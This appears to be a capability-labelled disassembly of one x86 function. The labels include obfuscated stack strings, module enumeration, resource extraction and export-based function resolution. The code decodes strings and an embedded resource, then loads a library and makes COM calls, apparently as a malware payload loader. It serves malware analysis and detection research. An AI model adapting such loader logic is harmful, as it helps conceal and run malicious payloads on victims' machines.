Function at 0x4019f0
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules
Extract resource via kernel32 functions
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x48c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x18], pe_nt_image_headers32
mov byte [esp + 0x19], 0x3b
mov byte [esp + 0x1a], 0x8d
mov byte [esp + 0x1b], 0x2a
mov byte [esp + 0x1c], 0xa2
mov byte [esp + 0x1d], 0x2a
mov byte [esp + 0x1e], 0x2a
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], 0xd3
mov byte [esp + 0x21], 0x20
mov byte [esp + 0x22], 0x64
mov byte [esp + 0x23], 6
mov byte [esp + 0x24], 0x8a
mov byte [esp + 0x25], 0xf7
mov byte [esp + 0x26], 0x3d
mov byte [esp + 0x27], 0x9d
mov byte [esp + 0x28], 0xd9
mov byte [esp + 0x29], 0xee
mov byte [esp + 0x2a], 0x15
mov byte [esp + 0x2b], 0x68
mov byte [esp + 0x2c], 0xf4
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0xb9
mov byte [esp + 0x2f], 0x34
mov byte [esp + 0x30], 0xbf
mov byte [esp + 0x31], 0x1e
mov byte [esp + 0x32], 0xe7
mov byte [esp + 0x33], 0x78
mov byte [esp + 0x34], 0x98
mov byte [esp + 0x35], 0xe9
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0xb4
mov byte [esp + 0x38], bl
call fcn.00401650
push eax
call fcn.0040b99e
add esp, 0xc
cmp eax, 0x41b2a0
je 0x40248a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x278]
mov edi, eax
push edx
push edi
mov dword [esp + 0x280], 0x224
mov byte [esp + 0x64], 0xce
mov byte [esp + 0x65], 0x27
mov byte [esp + 0x66], 0x9c
mov byte [esp + 0x67], 0x1a
mov byte [esp + 0x68], 0x95
mov byte [esp + 0x69], 0x2e
mov byte [esp + 0x6a], 0x22
mov byte [esp + 0x6b], 0x57
mov byte [esp + 0x6c], 0x91
mov byte [esp + 0x6d], 0x21
mov byte [esp + 0x6e], 0x57
mov byte [esp + 0x6f], 0x3a
mov byte [esp + 0x70], 0xf8
mov byte [esp + 0x71], 0x98
mov byte [esp + 0x72], 0x5b
mov byte [esp + 0x73], 0xf4
mov byte [esp + 0x74], 0xb5
mov byte [esp + 0x75], 0x87
mov byte [esp + 0x76], 0x7b
mov byte [esp + 0x77], 0xf
mov byte [esp + 0x78], 0xf4
mov byte [esp + 0x79], 0x76
mov byte [esp + 0x7a], 0xb9
mov byte [esp + 0x7b], 0x34
mov byte [esp + 0x7c], 0xbf
mov byte [esp + 0x7d], 0x1e
mov byte [esp + 0x7e], 0xe7
mov byte [esp + 0x7f], 0x78
mov byte [esp + 0x80], 0x98
mov byte [esp + 0x81], 0xe9
mov byte [esp + 0x82], 0x6f
mov byte [esp + 0x83], 0xb4
mov byte [esp + 0x84], bl
mov byte [esp + 0x18], 0xc0
mov byte [esp + 0x19], 0x38
mov byte [esp + 0x1a], 0x8d
mov byte [esp + 0x1b], 0x1f
mov byte [esp + 0x1c], 0x8e
mov byte [esp + 0x1d], 0x30
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x47
mov byte [esp + 0x20], 0xd3
mov byte [esp + 0x21], 0x29
mov byte [esp + 0x22], 0x3b
mov byte [esp + 0x23], 0x56
mov byte [esp + 0x24], 0xf8
mov byte [esp + 0x25], 0x98
mov byte [esp + 0x26], 0x5b
mov byte [esp + 0x27], 0xf4
mov byte [esp + 0x28], 0xb5
mov byte [esp + 0x29], 0x87
mov byte [esp + 0x2a], 0x7b
mov byte [esp + 0x2b], 0xf
mov byte [esp + 0x2c], 0xf4
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0xb9
mov byte [esp + 0x2f], 0x34
mov byte [esp + 0x30], 0xbf
mov byte [esp + 0x31], 0x1e
mov byte [esp + 0x32], 0xe7
mov byte [esp + 0x33], 0x78
mov byte [esp + 0x34], 0x98
mov byte [esp + 0x35], 0xe9
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0xb4
mov byte [esp + 0x38], bl
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x401dc3
lea eax, [esp + 0xd4]
push eax
lea ecx, [esp + 0x60]
push ecx
call fcn.00401650
add esp, 8
mov esi, eax
lea edx, [esp + 0x298]
mov al, byte [edx]
cmp al, byte [esi]
jne 0x401c93
cmp al, bl
je 0x401c8f
mov cl, byte [edx + 1]
cmp cl, byte [esi + 1]
jne 0x401c93
add edx, 2
add esi, 2
cmp cl, bl
jne 0x401c73
xor eax, eax
jmp 0x401c98
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x401cb0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48c
ret
lea edx, [esp + 0xb4]
push edx
lea eax, [esp + 0x14]
push eax
call fcn.00401650
add esp, 8
mov esi, eax
lea ecx, [esp + 0x298]
mov edi, edi
mov al, byte [ecx]
cmp al, byte [esi]
jne 0x401cf0
cmp al, bl
je 0x401cec
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x401cf0
add ecx, 2
add esi, 2
cmp al, bl
jne 0x401cd0
xor eax, eax
jmp 0x401cf5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401c9c
lea ecx, [esp + 0x278]
push ecx
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x401dc3
nop
lea edx, [esp + 0xd4]
push edx
lea eax, [esp + 0x60]
push eax
call fcn.00401650
add esp, 8
mov esi, eax
lea ecx, [esp + 0x298]
mov edi, edi
mov al, byte [ecx]
cmp al, byte [esi]
jne 0x401d50
cmp al, bl
je 0x401d4c
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x401d50
add ecx, 2
add esi, 2
cmp al, bl
jne 0x401d30
xor eax, eax
jmp 0x401d55
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401c9c
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.00401650
add esp, 8
mov esi, eax
lea ecx, [esp + 0x298]
jmp 0x401d80
mov al, byte [ecx]
cmp al, byte [esi]
jne 0x401da0
cmp al, bl
je 0x401d9c
mov al, byte [ecx + 1]
cmp al, byte [esi + 1]
jne 0x401da0
add ecx, 2
add esi, 2
cmp al, bl
jne 0x401d80
xor eax, eax
jmp 0x401da5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401c9c
lea eax, [esp + 0x278]
push eax
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x401d10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xa
lea ecx, [esp + 0x158]
push ecx
lea edx, [esp + 0x18]
push edx
mov edi, eax
mov byte [esp + 0x1c], 0xfc
mov byte [esp + 0x1d], 0xb
mov byte [esp + 0x1e], 0xff
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x20], 0xe7
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x4b
mov byte [esp + 0x23], 0x23
mov byte [esp + 0x24], 0xbf
mov byte [esp + 0x25], 0x45
mov byte [esp + 0x26], 0x3b
mov byte [esp + 0x27], 0x56
mov byte [esp + 0x28], 0xf8
mov byte [esp + 0x29], 0x98
mov byte [esp + 0x2a], 0x5b
mov byte [esp + 0x2b], 0xf4
mov byte [esp + 0x2c], 0xb5
mov byte [esp + 0x2d], 0x87
mov byte [esp + 0x2e], 0x7b
mov byte [esp + 0x2f], 0xf
mov byte [esp + 0x30], 0xf4
mov byte [esp + 0x31], 0x76
mov byte [esp + 0x32], 0xb9
mov byte [esp + 0x33], 0x34
mov byte [esp + 0x34], 0xbf
mov byte [esp + 0x35], 0x1e
mov byte [esp + 0x36], 0xe7
mov byte [esp + 0x37], 0x78
mov byte [esp + 0x38], 0x98
mov byte [esp + 0x39], 0xe9
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0xb4
mov byte [esp + 0x3c], bl
call fcn.00401650
add esp, 8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
mov dword [esp + 0x50], esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
call fcn.0040b84d
push 0x40022
mov esi, eax
call fcn.0040af66
add esp, 8
mov dword [esp + 0x34], eax
cmp eax, ebx
je 0x401eef
push 0x40022
push ebx
push eax
call fcn.0040ba30
mov ecx, dword [esp + 0x40]
add esp, 0xc
mov dword [esp + 0x50], ecx
jmp 0x401ef3
mov dword [esp + 0x50], ebx
mov ecx, dword [esp + 0x50]
call fcn.00401300
mov edx, dword [esp + 0x48]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x40], eax
cdq
and edx, 0x3ff
add eax, edx
sar eax, 0xa
cmp eax, ebx
jle 0x401f5f
mov edx, dword [esp + 0x3c]
mov ecx, esi
sub ecx, edx
mov dword [esp + 0x34], edx
mov dword [esp + 0x88], ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x88]
add ecx, eax
push ecx
mov ecx, dword [esp + 0x54]
push 0x400
push eax
call fcn.00401560
add dword [esp + 0x34], 0x400
sub dword [esp + 0x38], 1
jne 0x401f33
mov ecx, dword [esp + 0x40]
and ecx, 0x800003ff
jns 0x401f73
dec ecx
or ecx, 0xfffffc00
inc ecx
cmp ecx, ebx
jle 0x401f92
mov eax, dword [esp + 0x40]
sub eax, ecx
lea edx, [eax + esi]
push edx
push ecx
mov ecx, dword [esp + 0x44]
add eax, ecx
mov ecx, dword [esp + 0x58]
push eax
call fcn.00401560
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x3c]
push edx
push ebx
push eax
call fcn.0040ba30
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ebp, dword [esi]
push ebp
mov dword [esp + 0x94], ebp
call fcn.0040b84d
mov ecx, dword [esp + 0x4c]
add esp, 4
push ecx
push edi
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, dword [esp + 0x38]
push eax
lea edx, [esi + 4]
push edx
lea eax, [esp + 0x98]
push eax
push edi
call fcn.0040ac60
mov ecx, dword [esp + 0x50]
push ecx
push ebx
push esi
call fcn.0040ba30
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0x30]
push eax
add edi, 0xe
mov byte [esp + 0x34], 0xce
mov byte [esp + 0x35], 0x27
mov byte [esp + 0x36], 0x9c
mov byte [esp + 0x37], 0x1a
mov byte [esp + 0x38], 0x95
mov byte [esp + 0x39], 0x21
mov byte [esp + 0x3a], 0x2e
mov byte [esp + 0x3b], 0xd
mov byte [esp + 0x3c], 0xdb
mov byte [esp + 0x3d], 0x29
mov byte [esp + 0x3e], 0x57
mov byte [esp + 0x3f], 0x56
mov byte [esp + 0x40], 0xf8
mov byte [esp + 0x41], 0x98
mov byte [esp + 0x42], 0x5b
mov byte [esp + 0x43], 0xf4
mov byte [esp + 0x44], 0xb5
mov byte [esp + 0x45], 0x87
mov byte [esp + 0x46], 0x7b
mov byte [esp + 0x47], 0xf
mov byte [esp + 0x48], 0xf4
mov byte [esp + 0x49], 0x76
mov byte [esp + 0x4a], 0xb9
mov byte [esp + 0x4b], 0x34
mov byte [esp + 0x4c], 0xbf
mov byte [esp + 0x4d], 0x1e
mov byte [esp + 0x4e], 0xe7
mov byte [esp + 0x4f], 0x78
mov byte [esp + 0x50], 0x98
mov byte [esp + 0x51], 0xe9
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x53], 0xb4
mov byte [esp + 0x54], bl
call fcn.00401650
add esp, 0x24
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov byte [esp + 0x10], pe_nt_image_headers32
mov byte [esp + 0x11], 0x18
mov byte [esp + 0x12], 0xad
mov byte [esp + 0x13], 0x36
mov byte [esp + 0x14], 0x95
mov byte [esp + 0x15], 0x21
lea ecx, [esp + 0x134]
push ecx
lea edx, [esp + 0x14]
push edx
mov byte [esp + 0x1e], 0x2a
mov byte [esp + 0x1f], 0x57
mov byte [esp + 0x20], 0xda
mov byte [esp + 0x21], 0xc
mov byte [esp + 0x22], 0x55
mov byte [esp + 0x23], 0x25
mov byte [esp + 0x24], 0x8c
mov byte [esp + 0x25], 0xf9
mov byte [esp + 0x26], 0x35
mov byte [esp + 0x27], 0x97
mov byte [esp + 0x28], 0xd0
mov byte [esp + 0x29], 0x87
mov byte [esp + 0x2a], 0x7b
mov byte [esp + 0x2b], 0xf
mov byte [esp + 0x2c], 0xf4
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0xb9
mov byte [esp + 0x2f], 0x34
mov byte [esp + 0x30], 0xbf
mov byte [esp + 0x31], 0x1e
mov byte [esp + 0x32], 0xe7
mov byte [esp + 0x33], 0x78
mov byte [esp + 0x34], 0x98
mov byte [esp + 0x35], 0xe9
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0xb4
mov byte [esp + 0x38], bl
call fcn.00401650
add esp, 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
setne cl
cmp cl, bl
sete byte [esp + 0x47]
mov dword [str.PP2t], eax
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x54], ebx
cmp cl, bl
je 0x40248a
lea ecx, [esp + 0x80]
push ecx
push 0x41b220
push 0x41b230
call eax
test eax, eax
jl 0x40246a
cmp byte [esp + 0x47], bl
jne 0x40246a
mov eax, dword [esp + 0x38]
push 3
lea edx, [esp + 0x17c]
push eax
lea ecx, [esp + 0x17c]
mov dword [esp + 0x17c], edx
call fcn.004018f0
mov eax, dword [esp + 0x80]
mov ecx, dword [eax]
lea edx, [esp + 0x84]
push edx
mov edx, dword [esp + 0x178]
push 0x41b240
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jl 0x40244f
mov eax, dword [esp + 0x84]
mov ecx, dword [eax]
lea edx, [esp + 0x4c]
push edx
push 0x41b290
push 0x41b210
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
jl 0x40244f
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push eax
call edx
test eax, eax
jl 0x40244f
push 0x41b288
lea ecx, [esp + 0x44]
mov dword [esp + 0x38], ebx
call fcn.00401870
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [esp + 0x94]
push eax
mov dword [esp + 0x40], ebx
call esi
push 0x41b280
lea ecx, [esp + 0x3c]
call fcn.00401870
lea ecx, [esp + 0xa4]
push ecx
call esi
mov edx, dword [esp + 0x4c]
mov esi, dword [edx]
lea ecx, [esp + 0x58]
add esi, 0x34
call fcn.004018d0
mov ecx, dword [esi]
push eax
mov eax, dword [esp + 0x50]
push eax
call ecx
mov esi, dword [esp + 0x58]
cmp esi, ebx
jne 0x4022c3
push 0x80004003
call fcn.0040ad90
lea ecx, [esp + 0x54]
call fcn.004018d0
mov edx, dword [esi]
push eax
mov eax, dword [edx]
push 0x41b270
push esi
call eax
lea ecx, [esp + 0x88]
push ecx
push 1
add ebp, 0xfffffff2
push 0x11
mov dword [esp + 0x94], ebp
mov dword [esp + 0x98], ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
lea edx, [esp + 0x48]
mov esi, eax
push edx
push esi
mov dword [esp + 0x50], ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov eax, dword [esp + 0x48]
push ebp
push edi
push eax
call fcn.0040b350
add esp, 0xc
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov eax, dword [esp + 0x54]
cmp eax, ebx
jne 0x402336
push 0x80004003
call fcn.0040ad90
mov edi, dword [eax]
lea ecx, [esp + 0x34]
mov ebp, eax
add edi, 0xb4
call fcn.004018d0
mov ecx, dword [edi]
push eax
push esi
push ebp
call ecx
cmp esi, ebx
je 0x40235b
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov eax, dword [esp + 0x34]
cmp eax, ebx
jne 0x40236d
push 0x80004003
call fcn.0040ad90
mov ecx, dword [esp + 0x40]
mov ebp, eax
cmp ecx, ebx
je 0x40237b
mov edi, dword [ecx]
jmp 0x40237d
xor edi, edi
mov esi, dword [eax]
lea ecx, [esp + 0x3c]
add esi, 0x44
call fcn.004018d0
mov edx, dword [esi]
push eax
push edi
push ebp
call edx
push ebx
push ebx
push 0xc
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov ecx, dword [esp + 0x3c]
cmp ecx, ebx
jne 0x4023ae
push 0x80004003
call fcn.0040ad90
mov eax, dword [esp + 0x38]
cmp eax, ebx
je 0x4023ba
mov edx, dword [eax]
jmp 0x4023bc
xor edx, edx
mov edi, dword [esp + 0x94]
mov esi, dword [ecx]
lea eax, [esp + 0xa4]
push eax
push ebx
sub esp, 0x10
mov eax, esp
mov dword [eax], edi
mov edi, dword [esp + 0xb0]
push ebx
mov dword [eax + 4], edi
mov edi, dword [esp + 0xb8]
push 0x118
mov dword [eax + 8], edi
mov edi, dword [esp + 0xc0]
push edx
push ecx
mov ecx, dword [esi + 0xe4]
mov dword [eax + 0xc], edi
call ecx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0xa4]
push edx
call esi
lea ecx, [esp + 0x38]
call fcn.004019a0
lea eax, [esp + 0x94]
push eax
call esi
mov eax, dword [esp + 0x3c]
cmp eax, ebx
je 0x402436
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea ecx, [esp + 0x40]
call fcn.004019a0
mov eax, dword [esp + 0x34]
cmp eax, ebx
je 0x40244f
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x174]
lea ecx, [esp + 0x178]
cmp eax, ecx
je 0x40246a
push eax
call fcn.0040b6b5
add esp, 4
mov eax, dword [esp + 0x54]
cmp eax, ebx
je 0x40247a
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, dword [esp + 0x58]
cmp eax, ebx
je 0x40248a
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48c
ret